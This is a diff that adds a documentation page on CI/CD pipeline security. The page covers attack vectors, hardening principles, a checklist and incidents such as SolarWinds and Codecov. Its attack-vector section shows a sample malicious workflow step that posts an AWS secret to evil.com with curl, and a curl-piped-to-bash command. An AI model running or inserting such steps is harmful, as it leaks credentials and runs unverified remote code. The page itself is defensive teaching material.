|
| 1 | +--- |
| 2 | +title: 'Pipeline Security Fundamentals' |
| 3 | +description: 'Understand CI/CD pipeline threats, attack vectors, and core security principles for protecting your build infrastructure.' |
| 4 | +--- |
| 5 | + |
| 6 | +Before hardening your pipelines, you need to understand how attackers think about them. This section covers the threat landscape, common attack vectors, and foundational security principles. |
| 7 | + |
| 8 | +## The CI/CD Attack Surface |
| 9 | + |
| 10 | +Your pipeline has multiple attack surfaces: |
| 11 | + |
| 12 | +``` |
| 13 | +Pipeline Attack Surface |
| 14 | +======================= |
| 15 | +
|
| 16 | +[Source Code] -> Repository access, malicious commits |
| 17 | +[Dependencies] -> Compromised packages, typosquatting |
| 18 | +[CI Configuration] -> Pipeline injection, privilege escalation |
| 19 | +[Build Environment]-> Runner compromise, container escape |
| 20 | +[Secrets] -> Credential theft, exposure in logs |
| 21 | +[Artifacts] -> Tampering, malicious injection |
| 22 | +[Deployment] -> Unauthorized access, configuration drift |
| 23 | +``` |
| 24 | + |
| 25 | +Each component presents opportunities for attackers to inject malicious code, steal credentials, or gain persistent access. |
| 26 | + |
| 27 | +## Common Attack Vectors |
| 28 | + |
| 29 | +### 1. Dependency Confusion / Substitution |
| 30 | + |
| 31 | +Attackers publish malicious packages with names similar to internal packages: |
| 32 | + |
| 33 | +```yaml |
| 34 | +# Attacker publishes 'company-internal-utils' to public npm |
| 35 | +# Your pipeline pulls the malicious version instead of internal one |
| 36 | +dependencies: |
| 37 | + company-internal-utils: "^1.0.0" # Which registry? |
| 38 | +``` |
| 39 | +
|
| 40 | +**Defenses:** |
| 41 | +- Use scoped packages (@company/package-name) |
| 42 | +- Configure registry priorities explicitly |
| 43 | +- Pin dependencies with lockfiles and integrity hashes |
| 44 | +
|
| 45 | +### 2. Pipeline Injection via Pull Requests |
| 46 | +
|
| 47 | +Attackers modify CI configuration in PRs to exfiltrate secrets: |
| 48 | +
|
| 49 | +```yaml |
| 50 | +# Malicious PR modifies .github/workflows/ci.yml |
| 51 | +jobs: |
| 52 | + build: |
| 53 | + steps: |
| 54 | + - name: Exfiltrate secrets |
| 55 | + run: | |
| 56 | + curl -X POST https://evil.com/collect \ |
| 57 | + -d "secrets=${{ secrets.AWS_ACCESS_KEY }}" |
| 58 | +``` |
| 59 | +
|
| 60 | +**Defenses:** |
| 61 | +- Require approval for workflow changes |
| 62 | +- Use pull_request_target carefully (runs with base branch secrets) |
| 63 | +- Restrict secret access to specific branches |
| 64 | +
|
| 65 | +### 3. Compromised Build Tools |
| 66 | +
|
| 67 | +Attackers compromise tools that run during builds: |
| 68 | +
|
| 69 | +```bash |
| 70 | +# Codecov bash uploader was compromised in 2021 |
| 71 | +# This innocent-looking command exfiltrated secrets |
| 72 | +bash <(curl -s https://codecov.io/bash) |
| 73 | +``` |
| 74 | + |
| 75 | +**Defenses:** |
| 76 | +- Pin versions of external scripts |
| 77 | +- Verify checksums before execution |
| 78 | +- Use official actions/integrations when available |
| 79 | + |
| 80 | +### 4. Artifact Poisoning |
| 81 | + |
| 82 | +Attackers tamper with build artifacts between build and deployment: |
| 83 | + |
| 84 | +``` |
| 85 | +Build Server -> [Artifact Storage] -> Production |
| 86 | + ^ |
| 87 | + | |
| 88 | + Attacker modifies |
| 89 | + artifact here |
| 90 | +``` |
| 91 | + |
| 92 | +**Defenses:** |
| 93 | +- Sign artifacts cryptographically |
| 94 | +- Verify signatures before deployment |
| 95 | +- Use immutable artifact storage |
| 96 | + |
| 97 | +## Security Principles for Pipelines |
| 98 | + |
| 99 | +### Principle 1: Least Privilege |
| 100 | + |
| 101 | +Grant minimum permissions required for each job: |
| 102 | + |
| 103 | +```yaml |
| 104 | +# GitHub Actions - explicit permissions |
| 105 | +jobs: |
| 106 | + build: |
| 107 | + permissions: |
| 108 | + contents: read # Only read source code |
| 109 | + packages: write # Write to package registry |
| 110 | + steps: |
| 111 | + - uses: actions/checkout@v4 |
| 112 | +``` |
| 113 | +
|
| 114 | +```yaml |
| 115 | +# Bad - excessive permissions |
| 116 | +jobs: |
| 117 | + build: |
| 118 | + permissions: write-all # Never do this |
| 119 | +``` |
| 120 | +
|
| 121 | +### Principle 2: Defense in Depth |
| 122 | +
|
| 123 | +Layer multiple security controls: |
| 124 | +
|
| 125 | +``` |
| 126 | +Defense Layers |
| 127 | +-------------- |
| 128 | + |
| 129 | +Layer 1: Repository protection (branch rules, CODEOWNERS) |
| 130 | +Layer 2: Pipeline configuration validation |
| 131 | +Layer 3: Secret management (vault, rotation) |
| 132 | +Layer 4: Runner isolation (containers, VMs) |
| 133 | +Layer 5: Artifact signing and verification |
| 134 | +Layer 6: Deployment approval gates |
| 135 | +``` |
| 136 | +
|
| 137 | +No single control is perfect. Multiple layers ensure that bypassing one doesn't compromise everything. |
| 138 | +
|
| 139 | +### Principle 3: Immutability |
| 140 | +
|
| 141 | +Build artifacts should be immutable once created: |
| 142 | +
|
| 143 | +```yaml |
| 144 | +# Good - immutable tags |
| 145 | +docker build -t myapp:${{ github.sha }} . |
| 146 | +docker push myapp:${{ github.sha }} |
| 147 | + |
| 148 | +# Bad - mutable tags |
| 149 | +docker build -t myapp:latest . # Can be overwritten |
| 150 | +``` |
| 151 | + |
| 152 | +### Principle 4: Auditability |
| 153 | + |
| 154 | +Log everything for forensic analysis: |
| 155 | + |
| 156 | +```yaml |
| 157 | +# Capture build metadata |
| 158 | +- name: Record build provenance |
| 159 | + run: | |
| 160 | + echo "Commit: ${{ github.sha }}" >> build-info.txt |
| 161 | + echo "Actor: ${{ github.actor }}" >> build-info.txt |
| 162 | + echo "Workflow: ${{ github.workflow }}" >> build-info.txt |
| 163 | + echo "Run ID: ${{ github.run_id }}" >> build-info.txt |
| 164 | +``` |
| 165 | +
|
| 166 | +### Principle 5: Fail Securely |
| 167 | +
|
| 168 | +When something goes wrong, fail closed: |
| 169 | +
|
| 170 | +```yaml |
| 171 | +# Fail the build if security scan fails |
| 172 | +- name: Security scan |
| 173 | + run: | |
| 174 | + trivy image myapp:${{ github.sha }} --exit-code 1 |
| 175 | + # Non-zero exit fails the build |
| 176 | +``` |
| 177 | +
|
| 178 | +## Pipeline Security Checklist |
| 179 | +
|
| 180 | +Use this checklist to assess your pipeline security: |
| 181 | +
|
| 182 | +``` |
| 183 | +[ ] Explicit permissions defined for each job |
| 184 | +[ ] Secrets not accessible from PR builds |
| 185 | +[ ] Dependencies pinned with lockfiles |
| 186 | +[ ] External scripts verified before execution |
| 187 | +[ ] Artifact signing implemented |
| 188 | +[ ] Branch protection rules enforced |
| 189 | +[ ] CODEOWNERS for sensitive files (.github/, Dockerfile, etc.) |
| 190 | +[ ] Audit logs enabled and monitored |
| 191 | +[ ] Runner environments are ephemeral |
| 192 | +[ ] Network access restricted from runners |
| 193 | +``` |
| 194 | + |
| 195 | +## Real-World Attack Examples |
| 196 | + |
| 197 | +### SolarWinds (2020) |
| 198 | + |
| 199 | +Attackers compromised the build system to inject malicious code: |
| 200 | + |
| 201 | +- Gained access to SolarWinds build infrastructure |
| 202 | +- Modified build process to inject backdoor into Orion software |
| 203 | +- Signed malicious builds with legitimate certificates |
| 204 | +- 18,000+ organizations affected, including US government agencies |
| 205 | + |
| 206 | +**Lessons:** |
| 207 | +- Build systems need the same protection as production |
| 208 | +- Code signing alone doesn't prevent supply chain attacks |
| 209 | +- Monitor build processes for unauthorized modifications |
| 210 | + |
| 211 | +### Codecov (2021) |
| 212 | + |
| 213 | +Attackers modified a bash script used by thousands of repositories: |
| 214 | + |
| 215 | +- Compromised Codecov's Docker image creation process |
| 216 | +- Modified bash uploader to exfiltrate environment variables |
| 217 | +- Affected ~29,000 customers over 2 months |
| 218 | +- Secrets from CI environments were stolen |
| 219 | + |
| 220 | +**Lessons:** |
| 221 | +- Verify integrity of external scripts |
| 222 | +- Don't expose all environment variables to external tools |
| 223 | +- Pin versions of CI integrations |
| 224 | + |
| 225 | +### event-stream (2018) |
| 226 | + |
| 227 | +Social engineering attack on npm package maintainer: |
| 228 | + |
| 229 | +- Attacker offered to maintain popular package |
| 230 | +- Added malicious dependency targeting specific application |
| 231 | +- Attempted to steal cryptocurrency from Copay wallet users |
| 232 | + |
| 233 | +**Lessons:** |
| 234 | +- Review dependency changes carefully |
| 235 | +- Be cautious about transferring package ownership |
| 236 | +- Monitor for unexpected transitive dependencies |
0 commit comments